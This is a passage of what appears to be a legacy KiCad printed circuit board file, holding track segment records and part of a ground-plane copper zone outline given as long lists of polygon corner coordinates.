51250 41500 420 250\nDe 15 1 20 0 0\nPo 0 61260 44780 60540 44780 200 -1\nDe 0 0 20 0 0\nPo 0 65330 44080 65330 43670 200 -1\nDe 0 0 20 0 0\nPo 0 64350 41420 64340 41430 200 -1\nDe 15 0 20 0 0\nPo 0 65330 43670 66000 43000 200 -1\nDe 0 0 20 0 0\nPo 0 64842 43887 65083 43887 80 -1\nDe 15 0 20 0 400000\nPo 0 65061 43691 65170 43800 80 -1\nDe 15 0 20 0 0\nPo 0 63503 44242 63503 44601 80 -1\nDe 15 0 20 0 400000\nPo 0 62280 44350 61690 44350 200 -1\nDe 0 0 20 0 0\nPo 0 62870 44940 62280 44350 200 -1\nDe 0 0 20 0 0\nPo 0 60540 44780 60350 44590 200 -1\nDe 0 0 20 0 0\nPo 0 64094 44614 64160 44680 80 -1\nDe 15 0 20 0 0\nPo 3 67500 43000 67500 43000 420 250\nDe 15 1 20 0 0\nPo 0 64400 44900 64380 44900 200 -1\nDe 15 0 20 0 0\nPo 0 64291 41479 64291 41958 80 -1\nDe 15 0 20 0 800000\nPo 0 64380 44900 64160 44680 200 -1\nDe 15 0 20 0 0\nPo 0 64400 44900 64400 45190 200 -1\nDe 15 0 20 0 800000\nPo 0 53050 38350 53100 38400 200 -1\nDe 0 0 20 0 0\nPo 0 61450 41800 60200 40550 200 -1\nDe 15 0 20 0 0\nPo 0 64790 44620 65330 44080 200 -1\nDe 0 0 20 0 0\nPo 0 64094 44242 64094 44614 80 -1\nDe 15 0 20 0 400000\nPo 3 62280 44350 62280 44350 310 160\nDe 15 1 20 0 0\nPo 0 64800 44760 64800 45190 200 -1\nDe 15 0 20 0 800000\nPo 3 61920 42700 61920 42700 310 160\nDe 15 1 20 0 0\nPo 0 64350 41060 64350 41420 200 -1\nDe 15 0 20 0 400000\nPo 0 63125 42525 64275 42525 1000 -1\nDe 0 0 21 0 C00000\nPo 0 64400 45610 64400 45780 200 -1\nDe 15 0 21 0 400000\nPo 3 65280 45860 65280 45860 310 160\nDe 15 1 21 0 0\nPo 0 55760 45000 55750 44990 200 -1\nDe 15 0 21 0 0\nPo 0 65200 45780 65280 45860 200 -1\nDe 15 0 21 0 0\nPo 0 65200 45610 65200 45780 200 -1\nDe 15 0 21 0 400000\nPo 3 64480 45860 64480 45860 310 160\nDe 15 1 21 0 0\nPo 0 64800 45780 64880 45860 200 -1\nDe 15 0 21 0 0\nPo 0 59200 42900 59650 42900 200 -1\nDe 15 0 21 0 400000\nPo 0 64800 45610 64800 45780 200 -1\nDe 15 0 21 0 400000\nPo 3 64880 45860 64880 45860 310 160\nDe 15 1 21 0 0\nPo 0 65709 35614 65709 35041 200 -1\nDe 15 0 21 0 400000\nPo 0 63125 42525 64275 43675 500 -1\nDe 0 0 21 0 C00000\nPo 0 64275 42525 64275 43675 1000 -1\nDe 0 0 21 0 C00000\nPo 3 64350 40190 64350 40190 420 250\nDe 15 1 21 0 0\nPo 0 65100 47310 64900 47310 200 -1\nDe 15 0 21 0 400000\nPo 0 56200 46000 55750 46000 200 -1\nDe 15 0 21 0 400000\nPo 0 54400 38000 54850 38000 200 -1\nDe 15 0 21 0 400000\nPo 3 66560 44250 66560 44250 310 160\nDe 15 1 21 0 0\nPo 3 65000 39750 65000 39750 420 250\nDe 15 1 21 0 0\nPo 3 60150 44990 60150 44990 310 160\nDe 15 1 21 0 0\nPo 0 48420 40510 50290 40510 500 -1\nDe 15 0 21 0 0\nPo 0 61340 44350 60940 44350 200 -1\nDe 15 0 21 0 400000\nPo 0 69291 35614 69291 35049 200 -1\nDe 15 0 21 0 400000\nPo 0 66559 51937 66559 47509 200 -1\nDe 15 0 21 0 400000\nPo 3 59650 41100 59650 41100 420 250\nDe 15 1 21 0 0\nPo 0 56200 45000 55760 45000 200 -1\nDe 15 0 21 0 400000\nPo 0 48418 40512 48420 40510 80 -1\nDe 15 0 21 0 0\nPo 3 65210 46300 65210 46300 310 160\nDe 15 1 21 0 0\nPo 0 64910 46300 65210 46300 200 -1\nDe 15 0 21 0 400000\nPo 0 65193 31500 65200 31500 200 -1\nDe 15 0 21 0 400000\nPo 3 62850 45960 62850 45960 310 160\nDe 15 1 21 0 0\nPo 0 63250 45660 63250 45960 200 -1\nDe 15 0 21 0 400000\nPo 0 64275 43675 63125 43675 1000 -1\nDe 0 0 21 0 C00000\nPo 0 65200 31500 65900 32200 200 -1\nDe 15 0 21 0 0\nPo 0 69291 35049 69300 35040 200 -1\nDe 15 0 21 0 0\nPo 3 50300 40500 50300 40500 420 250\nDe 15 1 21 0 0\nPo 3 54850 38000 54850 38000 420 250\nDe 15 1 21 0 0\nPo 3 60690 42710 60690 42710 420 250\nDe 15 1 21 0 0\nPo 3 65900 32200 65900 32200 420 250\nDe 15 1 21 0 0\nPo 3 60940 44350 60940 44350 420 250\nDe 15 1 21 0 0\nPo 0 64400 45780 64480 45860 200 -1\nDe 15 0 21 0 0\nPo 3 64800 47410 64800 47410 310 160\nDe 15 1 21 0 0\nPo 0 65000 39300 65000 39750 200 -1\nDe 15 0 21 0 400000\nPo 0 66260 44250 66560 44250 80 -1\nDe 15 0 21 0 400000\nPo 0 60150 45290 60150 44990 200 -1\nDe 15 0 21 0 400000\nPo 0 60700 42700 60690 42710 200 -1\nDe 15 0 21 0 0\nPo 3 69300 35040 69300 35040 420 250\nDe 15 1 21 0 0\nPo 0 63125 43675 64275 42525 500 -1\nDe 0 0 21 0 C00000\nPo 3 55750 46000 55750 46000 420 250\nDe 15 1 21 0 0\nPo 3 65710 35040 65710 35040 420 250\nDe 15 1 21 0 0\nPo 0 50290 40510 50300 40500 500 -1\nDe 15 0 21 0 0\nPo 3 55750 44990 55750 44990 420 250\nDe 15 1 21 0 0\nPo 0 63125 43675 63125 42525 1000 -1\nDe 0 0 21 0 C00000\nPo 0 65709 35041 65710 35040 200 -1\nDe 15 0 21 0 0\nPo 3 59650 42900 59650 42900 420 250\nDe 15 1 21 0 0\nPo 3 52000 38900 52000 38900 420 250\nDe 15 1 21 0 0\nPo 0 66550 43750 67000 43750 200 -1\nDe 15 0 21 0 400000\nPo 0 52450 38900 52000 38900 200 -1\nDe 15 0 21 0 400000\nPo 3 67000 43750 67000 43750 420 250\nDe 15 1 21 0 0\nPo 0 47781 40512 48418 40512 80 -1\nDe 15 0 21 0 400000\nPo 0 61140 42700 60700 42700 200 -1\nDe 15 0 21 0 400000\nPo 0 64900 47310 64800 47410 200 -1\nDe 15 0 21 0 0\nPo 3 52450 36650 52450 36650 420 250\nDe 15 1 21 0 0\nPo 3 48420 40510 48420 40510 420 250\nDe 15 1 21 0 0\nPo 0 52450 37100 52450 36650 200 -1\nDe 15 0 21 0 400000\nPo 0 59200 41100 59650 41100 200 -1\nDe 15 0 21 0 400000\nPo 0 62850 45660 62850 45960 200 -1\nDe 15 0 21 0 400000\nPo 0 66559 47509 66250 47200 200 -1\nDe 15 0 21 0 800000\nPo 3 63250 45960 63250 45960 310 160\nDe 15 1 21 0 0\nPo 0 64350 40640 64350 40190 200 -1\nDe 15 0 21 0 400000\nPo 0 61846 31500 62200 31500 80 -1\nDe 15 0 22 0 400000\nPo 0 62200 31500 64700 34000 80 -1\nDe 15 0 22 0 800000\nPo 0 64600 46800 65450 46800 500 -1\nDe 15 0 23 0 400000\nPo 0 66050 46200 67250 46200 500 -1\nDe 15 0 23 0 800000\nPo 0 65450 46800 66050 46200 500 -1\nDe 15 0 23 0 0\nPo 0 64690 46890 64600 46800 80 -1\nDe 15 0 23 0 800000\nPo 0 65100 46890 64690 46890 80 -1\nDe 15 0 23 0 400000\nPo 0 57700 45000 56800 45000 80 -1\nDe 15 0 24 0 C00000\nPo 0 56800 46000 57700 46000 80 -1\nDe 15 0 25 0 C00000\nPo 0 63605 45575 63605 44915 200 -1\nDe 15 0 26 0 0\nPo 0 63605 45740 63605 45575 80 -1\nDe 15 0 26 0 400000\nPo 0 63700 44820 63605 44915 80 -1\nDe 15 0 26 0 0\nPo 0 63700 44242 63700 44820 80 -1\nDe 15 0 26 0 400000\nPo 0 63995 45575 63995 44925 200 -1\nDe 15 0 27 0 0\nPo 0 63897 44242 63897 44827 80 -1\nDe 15 0 27 0 400000\nPo 0 63897 44827 63995 44925 80 -1\nDe 15 0 27 0 0\nPo 0 63995 45740 63995 45575 80 -1\nDe 15 0 27 0 400000\nPo 0 64140 46000 64160 46020 80 -1\nDe 15 0 28 0 0\nPo 0 64440 46300 64490 46300 200 -1\nDe 15 0 28 0 800000\nPo 0 63995 46000 64140 46000 80 -1\nDe 15 0 28 0 400000\nPo 0 64440 46300 64160 46020 200 -1\nDe 15 0 28 0 0\nPo 0 64000 47400 64000 51937 500 -1\nDe 15 0 29 0 C00000\nPo 0 64000 46265 63995 46260 80 -1\nDe 15 0 30 0 800000\nPo 0 64000 46800 64000 46550 500 -1\nDe 15 0 30 0 400000\nPo 0 64000 46550 64000 46265 80 -1\nDe 15 0 30 0 0\nPo 0 64842 43494 65204 43494 80 -1\nDe 15 0 31 0 400000\nPo 0 65280 43500 65210 43500 200 -1\nDe 15 0 31 0 0\nPo 0 65530 43750 65280 43500 200 -1\nDe 15 0 31 0 0\nPo 0 65530 43750 65950 43750 200 -1\nDe 15 0 31 0 800000\nPo 0 65204 43494 65210 43500 80 -1\nDe 15 0 31 0 0\nPo 0 63897 41958 63897 41639 80 -1\nDe 15 0 32 0 400000\nPo 0 61620 39800 61150 39800 80 -1\nDe 15 0 32 0 800000\nPo 0 62060 40240 61620 39800 80 -1\nDe 15 0 32 0 0\nPo 3 62060 40240 62060 40240 310 160\nDe 15 1 32 0 0\nPo 0 63260 40240 62060 40240 80 -1\nDe 0 0 32 0 0\nPo 0 63280 40260 63260 40240 80 -1\nDe 0 0 32 0 0\nPo 3 63280 40260 63280 40260 310 160\nDe 15 1 32 0 0\nPo 0 63280 40430 63280 40260 80 -1\nDe 15 0 32 0 0\nPo 0 63838 40988 63280 40430 80 -1\nDe 15 0 32 0 0\nPo 0 63838 41580 63838 40988 80 -1\nDe 15 0 32 0 0\nPo 0 63897 41639 63838 41580 80 -1\nDe 15 0 32 0 0\nPo 0 57950 41100 57950 40700 80 -1\nDe 15 0 33 0 400000\nPo 0 58900 39750 59800 39750 80 -1\nDe 15 0 33 0 800000\nPo 0 57950 40700 58900 39750 80 -1\nDe 15 0 33 0 0\nPo 0 59850 39800 59800 39750 80 -1\nDe 15 0 33 0 800000\nPo 0 60550 39800 59850 39800 80 -1\nDe 15 0 33 0 400000\nPo 0 64000 38700 65000 38700 80 -1\nDe 15 0 34 0 C00000\nPo 0 49000 42260 49760 41500 200 -1\nDe 15 0 35 0 0\nPo 0 49000 43000 49000 42260 200 -1\nDe 15 0 35 0 400000\nPo 0 49760 41500 50200 41500 200 -1\nDe 15 0 35 0 800000\nPo 0 47781 39744 56644 39744 80 -1\nDe 15 0 36 0 400000\nPo 0 57650 40750 57650 42300 80 -1\nDe 15 0 36 0 800000\nPo 0 56644 39744 57650 40750 80 -1\nDe 15 0 36 0 0\nPo 0 57950 41700 59200 41700 80 -1\nDe 15 0 37 0 C00000\nPo 0 62558 42313 62293 42313 80 -1\nDe 15 0 37 0 400000\nPo 0 59638 42138 59200 41700 80 -1\nDe 15 0 37 0 800000\nPo 0 62293 42313 62118 42138 80 -1\nDe 15 0 37 0 0\nPo 0 62118 42138 59638 42138 80 -1\nDe 15 0 37 0 0\nPo 0 48356 40000 48450 39906 80 -1\nDe 15 0 38 0 0\nPo 0 56576 39906 57350 40680 80 -1\nDe 15 0 38 0 0\nPo 0 47781 40000 48356 40000 80 -1\nDe 15 0 38 0 400000\nPo 0 57350 41100 57350 41700 80 -1\nDe 15 0 38 0 C00000\nPo 0 48450 39906 56576 39906 80 -1\nDe 15 0 38 0 0\nPo 0 57350 40680 57350 41100 80 -1\nDe 15 0 38 0 800000\nPo 0 62850 44940 62850 45240 80 -1\nDe 15 0 39 0 800000\nPo 0 62488 45240 62228 45500 80 -1\nDe 15 0 39 0 800000\nPo 0 62850 45240 62488 45240 80 -1\nDe 15 0 39 0 400000\nPo 0 63306 44242 63306 44484 80 -1\nDe 15 0 39 0 400000\nPo 0 63306 44484 62850 44940 80 -1\nDe 15 0 39 0 0\nPo 0 65200 44680 64790 44270 200 -1\nDe 15 0 40 0 0\nPo 0 64700 44270 64515 44270 80 -1\nDe 15 0 40 0 0\nPo 0 64790 44270 64700 44270 200 -1\nDe 15 0 40 0 0\nPo 0 65200 45190 65200 44680 200 -1\nDe 15 0 40 0 400000\nPo 0 64515 44270 64487 44242 80 -1\nDe 15 0 40 0 800000\nPo 0 60772 45368 60772 45500 80 -1\nDe 15 0 41 0 800000\nPo 0 63109 44451 62780 44780 80 -1\nDe 15 0 41 0 0\nPo 0 63109 44242 63109 44451 80 -1\nDe 15 0 41 0 400000\nPo 0 62780 44780 61360 44780 80 -1\nDe 15 0 41 0 0\nPo 0 60150 45710 60562 45710 80 -1\nDe 15 0 41 0 400000\nPo 0 61360 44780 60772 45368 80 -1\nDe 15 0 41 0 0\nPo 0 60562 45710 60772 45500 80 -1\nDe 15 0 41 0 800000\nPo 0 64000 39300 64000 41490 80 -1\nDe 15 0 42 0 400000\nPo 0 64094 41584 64094 41958 80 -1\nDe 15 0 42 0 800000\nPo 0 64000 41490 64094 41584 80 -1\nDe 15 0 42 0 0\nPo 0 58250 42300 59200 42300 80 -1\nDe 15 0 43 0 C00000\nPo 0 62558 42509 62259 42509 80 -1\nDe 15 0 43 0 400000\nPo 0 62050 42300 59200 42300 80 -1\nDe 15 0 43 0 800000\nPo 0 62259 42509 62050 42300 80 -1\nDe 15 0 43 0 0\n$EndTRACK\n$ZONE\n$EndZONE\n$CZONE_OUTLINE\nZInfo 504D73B4 21 \"GND\"\nZLayer 0\nZAux 4 E\nZClearance 200 T\nZMinThickness 100\nZOptions 0 16 F 120 200\nZSmoothing 0 0\nZCorner 70500 48000 0\nZCorner 70500 21500 0\nZCorner 46500 21500 0\nZCorner 46500 48000 1\n$POLYSCORNERS\n63771 43100 0 0\n63700 43171 0 0\n63629 43100 0 0\n63700 43029 0 0\n63771 43100 1 0\n70450 47950 0 0\n68911 47950 0 0\n68911 47307 0 0\n68911 45307 0 0\n68902 45046 0 0\n68820 44848 0 0\n68728 44793 0 0\n68657 44864 0 0\n68657 44722 0 0\n68602 44630 0 0\n68516 44598 0 0\n68516 39854 0 0\n68516 37946 0 0\n68494 37835 0 0\n68431 37741 0 0\n67837 37147 0 0\n67743 37084 0 0\n67632 37062 0 0\n67492 37062 0 0\n65470 35040 0 0\n65470 34370 0 0\n65489 34390 0 0\n65658 34460 0 0\n65841 34460 0 0\n66010 34390 0 0\n66140 34261 0 0\n66210 34092 0 0\n66210 33909 0 0\n66140 33740 0 0\n66011 33610 0 0\n65842 33540 0 0\n65659 33540 0 0\n65490 33610 0 0\n65380 33719 0 0\n64145 32485 0 0\n64051 32422 0 0\n63940 32400 0 0\n57830 32400 0 0\n57719 32422 0 0\n57687 32443 0 0\n57637 32476 0 0\n57560 32476 0 0\n57411 32537 0 0\n57298 32651 0 0\n57236 32799 0 0\n57236 32960 0 0\n57297 33109 0 0\n57359 33170 0 0\n57078 33451 0 0\n56891 33451 0 0\n56689 33535 0 0\n56535 33689 0 0\n56500 33773 0 0\n56465 33689 0 0\n56311 33535 0 0\n56109 33451 0 0\n55891 33451 0 0\n55689 33535 0 0\n55535 33689 0 0\n55451 33891 0 0\n55451 34109 0 0\n55535 34311 0 0\n55689 34465 0 0\n55773 34500 0 0\n55689 34535 0 0\n55535 34689 0 0\n55451 34891 0 0\n55451 35109 0 0\n55535 35311 0 0\n55689 35465 0 0\n55891 35549 0 0\n56109 35549 0 0\n56311 35465 0 0\n56465 35311 0 0\n56500 35226 0 0\n56535 35311 0 0\n56689 35465 0 0\n56891 35549 0 0\n57109 35549 0 0\n57311 35465 0 0\n57465 35311 0 0\n57500 35226 0 0\n57535 35311 0 0\n57689 35465 0 0\n57891 35549 0 0\n58109 35549 0 0\n58311 35465 0 0\n58465 35311 0 0\n58500 35226 0 0\n58535 35311 0 0\n58689 35465 0 0\n58891 35549 0 0\n59109 35549 0 0\n59311 35465 0 0\n59465 35311 0 0\n59500 35226 0 0\n59535 35311 0 0\n59689 35465 0 0\n59891 35549 0 0\n60109 35549 0 0\n60311 35465 0 0\n60465 35311 0 0\n60500 35226 0 0\n60535 35311 0 0\n60689 35465 0 0\n60891 35549 0 0\n61109 35549 0 0\n61311 35465 0 0\n61465 35311 0 0\n61500 35226 0 0\n61535 35311 0 0\n61689 35465 0 0\n61891 35549 0 0\n62109 35549 0 0\n62311 35465 0 0\n62465 35311 0 0\n62500 35226 0 0\n62535 35311 0 0\n62689 35465 0 0\n62891 35549 0 0\n63109 35549 0 0\n63311 35465 0 0\n63465 35311 0 0\n63549 35109 0 0\n63549 34891 0 0\n63465 34689 0 0\n63311 34535 0 0\n63154 34470 0 0\n63334 34470 0 0\n63396 34444 0 0\n63444 34396 0 0\n63470 34334 0 0\n63470 34266 0 0\n63470 34092 0 0\n63428 34050 0 0\n63100 34050 0 0\n63050 34050 0 0\n62950 34050 0 0\n62950 33950 0 0\n63050 33950 0 0\n63100 33950 0 0\n63428 33950 0 0\n63470 33908 0 0\n63470 33790 0 0\n63480 33790 0 0\n64080 34390 0 0\n64080 35500 0 0\n64102 35611 0 0\n64165 35705 0 0\n66746 38286 0 0\n66746 38360 0 0\n66807 38509 0 0\n66921 38622 0 0\n67050 38676 0 0\n67097 38789 0 0\n67196 38887 0 0\n67196 39000 0 0\n67257 39149 0 0\n67356 39247 0 0\n67356 39360 0 0\n67417 39509 0 0\n67516 39607 0 0\n67516 39720 0 0\n67577 39869 0 0\n67676 39967 0 0\n67676 40080 0 0\n67737 40229 0 0\n67851 40342 0 0\n67999 40404 0 0\n68160 40404 0 0\n68309 40343 0 0\n68422 40229 0 0\n68484 40081 0 0\n68484 39979 0 0\n68494 39965 0 0\n68516 39854 0 0\n68516 44598 0 0\n68357 44539 0 0\n68096 44548 0 0\n67960 44604 0 0\n67960 43092 0 0\n67960 42909 0 0\n67890 42740 0 0\n67761 42610 0 0\n67592 42540 0 0\n67409 42540 0 0\n67240 42610 0 0\n67199 42650 0 0\n66000 42650 0 0\n65960 42658 0 0\n65960 41692 0 0\n65960 41509 0 0\n65890 41340 0 0\n65761 41210 0 0\n65592 41140 0 0\n65513 41140 0 0\n65464 41107 0 0\n65330 41080 0 0\n64549 41080 0 0\n64421 41026 0 0\n64260 41026 0 0\n64111 41087 0 0\n63998 41201 0 0\n63936 41349 0 0\n63936 41510 0 0\n63997 41659 0 0\n64111 41772 0 0\n64259 41834 0 0\n64420 41834 0 0\n64551 41780 0 0\n65076 41780 0 0\n65110 41860 0 0\n65239 41990 0 0\n65408 42060 0 0\n65591 42060 0 0\n65760 41990 0 0\n65890 41861 0 0\n65960 41692 0 0\n65960 42658 0 0\n65866 42677 0 0\n65752 42753 0 0\n65083 43423 0 0\n65007 43536 0 0\n64980 43670 0 0\n64980 43870 0 0\n64933 43982 0 0\n64717 44198 0 0\n64717 43729 0 0\n64717 43154 0 0\n64717 42579 0 0\n64704 42406 0 0\n64662 42306 0 0\n64592 42278 0 0\n64522 42348 0 0\n64522 42208 0 0\n64494 42138 0 0\n64329 42083 0 0\n64156 42096 0 0\n64056 42138 0 0\n64028 42208 0 0\n64275 42454 0 0\n64522 42208 0 0\n64522 42348 0 0\n64346 42525 0 0\n64592 42772 0 0\n64662 42744 0 0\n64717 42579 0 0\n64717 43154 0 0\n64704 42981 0 0\n64662 42881 0 0\n64592 42853 0 0\n64346 43100 0 0\n64592 43347 0 0\n64662 43319 0 0\n64717 43154 0 0\n64717 43729 0 0\n64704 43556 0 0\n64662 43456 0 0\n64592 43428 0 0\n64522 43498 0 0\n64522 43417 0 0\n64492 43387 0 0\n64522 43358 0 0\n64494 43288 0 0\n64341 43237 0 0\n64310 43206 0 0\n64275 43171 0 0\n64204 43100 0 0\n64275 43029 0 0\n64310 42994 0 0\n64309 42993 0 0\n64346 42957 0 0\n64394 42954 0 0\n64494 42912 0 0\n64522 42842 0 0\n64492 42812 0 0\n64522 42783 0 0\n64494 42713 0 0\n64341 42662 0 0\n64310 42631 0 0\n64275 42596 0 0\n64204 42525 0 0\n64169 42490 0 0\n64132 42453 0 0\n64129 42406 0 0\n64087 42306 0 0\n64017 42278 0 0\n63987 42307 0 0\n63958 42278 0 0\n63947 42282 0 0\n63947 42208 0 0\n63919 42138 0 0\n63754 42083 0 0\n63684 42088 0 0\n63684 40341 0 0\n63684 40180 0 0\n63623 40031 0 0\n63509 39918 0 0\n63361 39856 0 0\n63200 39856 0 0\n63051 39917 0 0\n63018 39950 0 0\n62341 39950 0 0\n62289 39898 0 0\n62141 39836 0 0\n61980 39836 0 0\n61831 39897 0 0\n61718 40011 0 0\n61656 40159 0 0\n61656 40320 0 0\n61717 40469 0 0\n61831 40582 0 0\n61979 40644 0 0\n62140 40644 0 0\n62289 40583 0 0\n62341 40530 0 0\n62978 40530 0 0\n63051 40602 0 0\n63199 40664 0 0\n63360 40664 0 0\n63509 40603 0 0\n63622 40489 0 0\n63684 40341 0 0\n63684 42088 0 0\n63581 42096 0 0\n63481 42138 0 0\n63453 42208 0 0\n63700 42454 0 0\n63947 42208 0 0\n63947 42282 0 0\n63888 42306 0 0\n63837 42458 0 0\n63771 42525 0 0\n63700 42596 0 0\n63629 42525 0 0\n63594 42490 0 0\n63557 42453 0 0\n63554 42406 0 0\n63512 42306 0 0\n63442 42278 0 0\n63412 42307 0 0\n63383 42278 0 0\n63372 42282 0 0\n63372 42208 0 0\n63344 42138 0 0\n63179 42083 0 0\n63006 42096 0 0\n62906 42138 0 0\n62878 42208 0 0\n63125 42454 0 0\n63372 42208 0 0\n63372 42282 0 0\n63313 42306 0 0\n63262 42458 0 0\n63196 42525 0 0\n63125 42596 0 0\n63054 42666 0 0\n63054 42525 0 0\n62808 42278 0 0\n62738 42306 0 0\n62683 42471 0 0\n62696 42644 0 0\n62738 42744 0 0\n62808 42772 0 0\n63054 42525 0 0\n63054 42666 0 0\n63053 42667 0 0\n63006 42671 0 0\n62906 42713 0 0\n62878 42783 0 0\n62907 42812 0 0\n62878 42842 0 0\n62906 42912 0 0\n63058 42962 0 0\n63090 42994 0 0\n63125 43029 0 0\n63196 43100 0 0\n63125 43171 0 0\n63054 43241 0 0\n63054 43100 0 0\n62808 42853 0 0\n62738 42881 0 0\n62683 43046 0 0\n62696 43219 0 0\n62738 43319 0 0\n62808 43347 0 0\n63054 43100 0 0\n63054 43241 0 0\n63053 43242 0 0\n63006 43246 0 0\n62906 43288 0 0\n62878 43358 0 0\n62907 43387 0 0\n62878 43417 0 0\n62906 43487 0 0\n63058 43537 0 0\n63090 43569 0 0\n63125 43604 0 0\n63196 43675 0 0\n63231 43710 0 0\n63267 43746 0 0\n63271 43794 0 0\n63313 43894 0 0\n63383 43922 0 0\n63412 43892 0 0\n63442 43922 0 0\n63512 43894 0 0\n63562 43741 0 0\n63593 43709 0 0\n63594 43710 0 0\n63629 43675 0 0\n63700 43604 0 0\n63771 43675 0 0\n63806 43710 0 0\n63842 43746 0 0\n63846 43794 0 0\n63888 43894 0 0\n63958 43922 0 0\n63987 43892 0 0\n64017 43922 0 0\n64087 43894 0 0\n64137 43741 0 0\n64168 43709 0 0\n64169 43710 0 0\n64204 43675 0 0\n64275 43604 0 0\n64310 43569 0 0\n64309 43568 0 0\n64346 43532 0 0\n64394 43529 0 0\n64494 43487 0 0\n64522 43417 0 0\n64522 43498 0 0\n64346 43675 0 0\n64592 43922 0 0\n64662 43894 0 0\n64717 43729 0 0\n64717 44198 0 0\n64699 44216 0 0\n64580 44216 0 0\n64522 44239 0 0\n64522 43992 0 0\n64275 43746 0 0\n64028 43992 0 0\n64056 44062 0 0\n64221 44117 0 0\n64394 44104 0 0\n64494 44062 0 0\n64522 43992 0 0\n64522 44239 0 0\n64431 44277 0 0\n64318 44391 0 0\n64264 44518 0 0\n64171 44557 0 0\n64058 44671 0 0\n63996 44819 0 0\n63996 44980 0 0\n64057 45129 0 0\n64171 45242 0 0\n64319 45304 0 0\n64480 45304 0 0\n64629 45243 0 0\n64742 45129 0 0\n64795 45001 0 0\n64889 44963 0 0\n64905 44946 0 0\n64924 44943 0 0\n65037 44867 0 0\n65428 44476 0 0\n65559 44423 0 0\n65672 44309 0 0\n65734 44161 0 0\n65734 44000 0 0\n65680 43868 0 0\n65680 43814 0 0\n66144 43350 0 0\n67199 43350 0 0\n67239 43390 0 0\n67408 43460 0 0\n67591 43460 0 0\n67760 43390 0 0\n67890 43261 0 0\n67960 43092 0 0\n67960 44604 0 0\n67898 44630 0 0\n67843 44722 0 0\n68250 45129 0 0\n68657 44722 0 0\n68657 44864 0 0\n68321 45200 0 0\n68728 45607 0 0\n68820 45552 0 0\n68911 45307 0 0\n68911 47307 0 0\n68902 47046 0 0\n68820 46848 0 0\n68728 46793 0 0\n68657 46864 0 0\n68657 46722 0 0\n68602 46630 0 0\n68357 46539 0 0\n68096 46548 0 0\n67999 46588 0 0\n67898 46630 0 0\n67869 46678 0 0\n67849 46658 0 0\n67884 46625 0 0\n67999 46350 0 0\n67999 46052 0 0\n67885 45777 0 0\n67849 45741 0 0\n67869 45721 0 0\n67898 45770 0 0\n68143 45861 0 0\n68404 45852 0 0\n68602 45770 0 0\n68657 45678 0 0\n68285 45306 0 0\n68250 45271 0 0\n68179 45200 0 0\n68144 45165 0 0\n67772 44793 0 0\n67680 44848 0 0\n67589 45093 0 0\n67598 45354 0 0\n67680 45552 0 0\n67728 45580 0 0\n67708 45600 0 0\n67675 45566 0 0\n67400 45451 0 0\n67102 45451 0 0\n66911 45530 0 0\n66827 45565 0 0\n66791 45600 0 0\n66771 45580 0 0\n66820 45552 0 0\n66911 45307 0 0\n66902 45046 0 0\n66820 44848 0 0\n66728 44793 0 0\n66657 44864 0 0\n66657 44722 0 0\n66602 44630 0 0\n66357 44539 0 0\n66096 44548 0 0\n65898 44630 0 0\n65843 44722 0 0\n66250 45129 0 0\n66657 44722 0 0\n66657 44864 0 0\n66356 45165 0 0\n66321 45200 0 0\n66250 45271 0 0\n66215 45306 0 0\n66179 45342 0 0\n66179 45200 0 0\n65772 44793 0 0\n65680 44848 0 0\n65589 45093 0 0\n65598 45354 0 0\n65680 45552 0 0\n65772 45607 0 0\n66179 45200 0 0\n66179 45342 0 0\n65843 45678 0 0\n65898 45770 0 0\n66143 45861 0 0\n66404 45852 0 0\n66602 45770 0 0\n66630 45721 0 0\n66650 45741 0 0\n66616 45775 0 0\n66501 46050 0 0\n66501 46348 0 0\n66615 46623 0 0\n66650 46658 0 0\n66630 46678 0 0\n66602 46630 0 0\n66357 46539 0 0\n66096 46548 0 0\n65898 46630 0 0\n65843 46722 0 0\n66215 47094 0 0\n66250 47129 0 0\n66321 47200 0 0\n66356 47235 0 0\n66728 47607 0 0\n66820 47552 0 0\n66911 47307 0 0\n66902 47046 0 0\n66820 46848 0 0\n66771 46819 0 0\n66791 46799 0 0\n66825 46834 0 0\n67100 46949 0 0\n67398 46949 0 0\n67673 46835 0 0\n67708 46799 0 0\n67728 46819 0 0\n67680 46848 0 0\n67589 47093 0 0\n67598 47354 0 0\n67680 47552 0 0\n67772 47607 0 0\n68144 47235 0 0\n68179 47200 0 0\n68250 47129 0 0\n68285 47094 0 0\n68657 46722 0 0\n68657 46864 0 0\n68321 47200 0 0\n68728 47607 0 0\n68820 47552 0 0\n68911 47307 0 0\n68911 47950 0 0\n68657 47950 0 0\n68657 47678 0 0\n68250 47271 0 0\n68179 47342 0 0\n67843 47678 0 0\n67898 47770 0 0\n68143 47861 0 0\n68404 47852 0 0\n68602 47770 0 0\n68657 47678 0 0\n68657 47950 0 0\n66911 47950 0 0\n66657 47950 0 0\n66657 47678 0 0\n66250 47271 0 0\n66179 47342 0 0\n66179 47200 0 0\n65772 46793 0 0\n65680 46848 0 0\n65589 47093 0 0\n65598 47354 0 0\n65680 47552 0 0\n65772 47607 0 0\n66179 47200 0 0\n66179 47342 0 0\n65843 47678 0 0\n65898 47770 0 0\n66143 47861 0 0\n66404 47852 0 0\n66602 47770 0 0\n66657 47678 0 0\n66657 47950 0 0\n63947 47950 0 0\n63947 43992 0 0\n63700 43746 0 0\n63453 43992 0 0\n63481 44062 0 0\n63646 44117 0 0\n63819 44104 0 0\n63919 44062 0 0\n63947 43992 0 0\n63947 47950 0 0\n63654 47950 0 0\n63654 45021 0 0\n63654 44860 0 0\n63593 44711 0 0\n63479 44598 0 0\n63372 44553 0 0\n63372 43992 0 0\n63125 43746 0 0\n63054 43816 0 0\n63054 43675 0 0\n62808 43428 0 0\n62738 43456 0 0\n62683 43621 0 0\n62696 43794 0 0\n62738 43894 0 0\n62808 43922 0 0\n63054 43675 0 0\n63054 43816 0 0\n62878 43992 0 0\n62906 44062 0 0\n63071 44117 0 0\n63244 44104 0 0\n63344 44062 0 0\n63372 43992 0 0\n63372 44553 0 0\n63331 44536 0 0\n63170 44536 0 0\n63038 44590 0 0\n63014 44590 0 0\n62676 44252 0 0\n62623 44121 0 0\n62509 44008 0 0\n62361 43946 0 0\n62324 43946 0 0\n62324 42781 0 0\n62324 42620 0 0\n62263 42471 0 0\n62149 42358 0 0\n62017 42302 0 0\n61807 42093 0 0\n61840 42061 0 0\n61910 41892 0 0\n61910 41709 0 0\n61840 41540 0 0\n61711 41410 0 0\n61542 41340 0 0\n61359 41340 0 0\n61190 41410 0 0\n61060 41539 0 0\n60990 41708 0 0\n60990 41891 0 0\n61060 42060 0 0\n61100 42100 0 0\n61100 42230 0 0\n61127 42364 0 0\n61203 42477 0 0\n61523 42798 0 0\n61577 42929 0 0\n61691 43042 0 0\n61839 